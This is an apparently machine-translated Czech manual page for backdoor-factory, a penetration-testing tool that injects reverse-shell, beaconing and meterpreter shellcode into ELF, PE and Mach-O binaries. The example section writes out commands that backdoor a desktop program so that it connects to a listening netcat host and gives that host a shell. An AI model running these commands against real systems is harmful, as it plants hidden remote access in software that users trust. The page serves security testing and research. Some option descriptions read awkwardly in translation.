backdoor-factory - referenční příručka, možnosti, příklady příkazů


NÁZEV

backdoor-factory - vložit předdefinovaný nebo uživatelem definovaný kód shellu v binárních souborech

SYNOPSE

backdoor-factory [options]

POPIS

backdoor-factory opraví spustitelné binární soubory uživatelem požadovaným kódem shellu a pokračuje normálním prováděním předpatchovaného stavu.

Tento nástroj je určen pouze pro bezpečnostní odborníky a výzkumníky.

Tento nástroj nepodporuje přemístitelný spustitelný soubor ELF (tj. kompilovaný s volbou -fPIE, navrženou požadavky na posílení Debianu, viz https://wiki.debian.org/Hardening)

Binární soubory, jako je ssh, nemusí být kaverovány správně, jako binární soubory jako dolphin (v době psaní této manuálové stránky).

MOŽNOSTI:

-h, --help

zobrazit tuto nápovědu a odejít

-f FILE, --file=FILE

Soubor do zadních vrátek

-s SHELL, --shell=SHELL

Užitná zatížení, která jsou k dispozici pro použití. Použijte 'zobrazit' pro zobrazení užitečného zatížení.

-H HOST, --hostip=HOST

IP C2 pro reverzní připojení.

-P PORT, --port=PORT

Port, ke kterému se lze buď připojit zpět pro reverzní shelly nebo naslouchat pro bind shelly

-J, --cave_jumping

Vyberte tuto možnost, pokud chcete použít skákání v jeskyni kódu k dalšímu skrytí kódu shellu v binárním souboru.

-a, --add_new_section

Nařízení, aby byla do exe přidána nová sekce (lepší úspěch), ale méně vyhýbání se

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Uživatelem zadaný shell kód, ujistěte se, že odpovídá architektuře, na kterou cílíte.

-c, --cave

Vlajka jeskyně najde kódové jeskyně, které lze použít k uložení shell kódu. Tím se vytiskne do všech jeskyní kódu určité velikosti. S tímto nastavením lze použít parametr -l.

-l SHELL_LEN, --shell_length=SHELL_LEN

Pro použití s -c pro pomoc při hledání kódových jeskyní různých velikostí

-o OUTPUT, --output-file=OUTPUT

Cesta k výstupnímu souboru backdoor. Nadřazené adresáře musí existovat

-n NSECTION, --section=NSECTION

Název nové sekce musí mít méně než sedm znaků

-d DIR, --directory=DIR

Toto je umístění souborů, které chcete backdoor. Adresář se souborovým backdooringem můžete zrychlit tím, že vynutíte připojení codecave k exe pomocí nastavení -a.

-w, --change_access

Tento příznak změní sekci, ve které se nachází codecave, na RWE. Někdy je to nutné. Ve výchozím nastavení povoleno. Pokud je zakázáno, zadní vrátka mohou selhat.

-i, --injector

Tento příkaz změní továrnu na zadní vrátka na mechanismus typu lovu a vstřikování shell kódu. Upravte nastavení cíle v modulu vstřikovače.

-u SUFFIX, --suffix=SUFFIX

Pro použití s injektorem umístěte na původní soubor příponu pro snadné obnovení

-D, --delete_original

Pro použití s modulem vstřikovače. Tento příkaz odstraní původní soubor. Není určeno pro použití ve výrobních systémech. (Autor není odpovědný za hloupé použití.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Počáteční bod na offsetu disku, v bajtech. Někteří autoři chtějí zatemnit svůj offset na disku, aby se vyhnuli zpětnému inženýrství, pokud zjistíte, že jeden z těchto souborů používá tento příznak poté, co najdete offset.

-S, --support_check

Chcete-li zjistit, zda je soubor podporován BDF před jeho backdooringem. Pro použití samostatně nebo verbálně. Tato kontrola proběhne automaticky, pokud dojde k pokusu o backdooring.

-M, --cave-miner

Budoucí použití, které pomůže určit nejmenší možný shell kód v souboru PE

-q, --no_banner

Zabije banner.

-v, --verbose

Pro výstup informací o ladění.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Pouze binární soubory typu ALL, x86 nebo x64. Výchozí=VŠECHNY

-Z, --zero_cert

Umožňuje přepsání ukazatele na tabulku certifikátů PE efektivně odstranit certifikát z binárního souboru pro všechny záměry a účely.

-R, --runas_admin

EXPERIMENTÁLNÍ Zkontroluje binární soubory PE na 'requestedExecutionLevel level="highestAvailable"'. Pokud je tento řetězec součástí binárního souboru, musí běžet jako systém/admin. Pokud není v režimu kontroly podpory, pokusí se o opravu nejvyššího dostupného do manifestu, pokud existuje položka requiredExecutionLevel.

-L, --patch_dll

Toto nastavení použijte, pokud NECHCETE opravovat knihovny DLL. Záplaty ve výchozím nastavení.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Pro formát MACH-O. Pokud tlustý soubor, zaměřte se na to, který oblouk opravit. Výchozí hodnota je x64. Pro vynucení x86 použijte -F x86, pro vynucení obou oblouků použijte -F ALL.

-B BEACON, --beacon=BEACON

U užitečného zatížení, které má schopnost signalizovat, nastavte čas v sekundách

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Záplatovací metody pro PE soubory, 'manuální', 'automatické', nahrazovat a onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Pro onionduke. Zadejte požadovaný binární soubor.

-X, --xp_mode

Výchozí: NEPODPOROVAT pro starší počítače XP, použijte -X pro podporu XP. Ve výchozím nastavení se binární soubor zhroutí na počítačích XP (např. sandboxy)

-A, --idt_in_cave

EXPERIMENTÁLNÍ Ve výchozím nastavení je v nové sekci vytvořena nová tabulka adresářů importu, zavoláním tohoto příznaku bude umístěna do jeskyně kódu. To může v některých případech způsobit selhání bianry. Nejprve otestujte cílové binární soubory.

-C, --code_sign

Pro ty, kteří mají certifikáty pro kodesign, kteří chtějí podepisovat pouze binární soubory PE. Pojmenujte svůj podpisový klíč a soukromý klíč signingcert.cer a signingPrivateKey.pem v adresáři certs, je na vás, abyste získali podpisové certifikáty.

-p, --preprocess

Spuštění skriptů předběžného zpracování v adresáři předběžného zpracování

O SHELLCODECH

V backdoor-factory jsou různé předdefinované kódy shellu. Jejich dostupnost závisí na typu cíle (ELF32, ELF64, PE32...). Seznam kódů shellu je definován níže.

pro všechny platformy Intel (architektura x86 a x86_64)

reverse_shell_tcp

potřeba: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu

delay_reverse_shell_tcp

potřeba: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu

beaconing_reverse_shell_tcp

potřeba: maják, vzdálený hostitel a port k nastavení povolení: vzdálený přístup k shellu

user_supplied_shellcode

potřeba: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu

Linux specifické shell kódy

reverse_tcp_stager

potřeba: povolení:

Kódy shellu Windows PE32 exe

reverse_shell_tcp_inline

potřebuje: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu

reverse_shell_tcp_stager_threaded

potřeby: vzdálený hostitel a port, které mají být nastaveny, povoluje: Vložit DLL serveru meterpreter prostřednictvím užitečného zatížení Reflective Dll Injection

meterpreter_reverse_https_threaded

potřebuje: vzdálený hostitel a port k nastavení povoluje: meterpreter přes přenos https

user_applied_shellcode_threaded

potřeby: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu

iat_reverse_tcp_inline

potřebuje: vzdálený hostitel a port k nastavení povolují:

iat_reverse_tcp_inline_threaded

potřebuje: vzdálený hostitel a port k nastavení povolují:

iat_reverse_tcp_stager_threaded

potřeby: vzdálený hostitel a port, které mají být nastaveny, povoluje: Vložit DLL serveru meterpreter prostřednictvím užitečného zatížení Reflective Dll Injection

iat_user_applied_shellcode_threaded

potřeby: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu

Kódy shellu Windows PE64 exe

delay_reverse_shell_tcp

potřebuje: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu

reverse_shell_tcp

potřebuje: vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu

beaconing_reverse_shell_tcp

potřeby: maják, vzdálený hostitel a port k nastavení povoluje: vzdálený přístup k shellu

user_supplied_shellcode

potřeby: uživatelsky definovaný kód shellu připravený k vložení povolení: závisí na kódu shellu

PŘÍKLADY

Příklad kavekódování binárního ELF integrací vzdáleného přístupu k shellu prostřednictvím vzdáleného TCP posluchače (např. netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

Na hostiteli za IP 172.16.0.15 spusťte netcat v režimu poslechu:

netcat -l 172.16.0.15 8080

Na cíli spusťte backdoored binární soubor:

./backdoored/dolphin

Nyní na hostiteli 172.16.0.15 použijte svůj shell.

DĚJINY

Květen 2017, původně sestavil Philippe Thierry (phil at reseau-libre dot com)